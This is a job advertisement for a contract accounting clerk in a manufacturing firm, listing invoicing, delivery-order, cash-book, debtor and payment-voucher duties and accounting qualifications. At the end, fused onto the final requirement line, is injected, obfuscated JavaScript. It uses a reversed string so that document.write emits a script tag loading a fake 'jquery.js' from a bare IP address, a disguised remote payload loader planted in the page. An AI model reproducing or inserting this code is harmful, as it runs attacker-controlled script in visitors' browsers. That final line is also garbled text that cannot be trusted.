Industry : Manufacturing (Industrial, Machinery, etc.)
Terms : 1 year contract

Responsibilities:
• Raise delivery order/print & control manual D/O
• Issue Delivery Order to Transfer
• Issue invoices for transfer after W/H verify
• Issue invoices, amend prices / Qtc & cancel D/O
• To print all the Sales Invoices, Cash Sales & Official Receipt.
• Frank / mail all the documents (travel to post office)
• File all the related documents
• Bank in cheque for collection
• Handle customer call for A/C enquiry
• Record & filing the Daily Forex Exchange Rate
• Handle Monthly invoices
• Prepare the Monthly Transfer Amounts for G. Insurance
• Update Cash Book
• Update Debtors Collection & Ageing
• Prepare / Process Payment Voucher for creditors & Expenses
• Raise Cash Sales
• Issue / Check Debtors Receipt
• Key in A/R, A/P, P/V & J/V to GL System
• Issue Cheque for all Local Payment
• Prepare Summary list for Forex Forward Contract
• Update Foreign Currency for Trade Creditor
• Monthly Costing Report
• Help issue Debit / Credit Note for T. Debtors
• Check / Recon Physical Stock for issue D/O
• Record & Pack Previous Year Documents to Storage

Requirements:
• Diploma / Degree in Accounting
• 1-3 years of accounting work
• Able to speak Mandarin document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))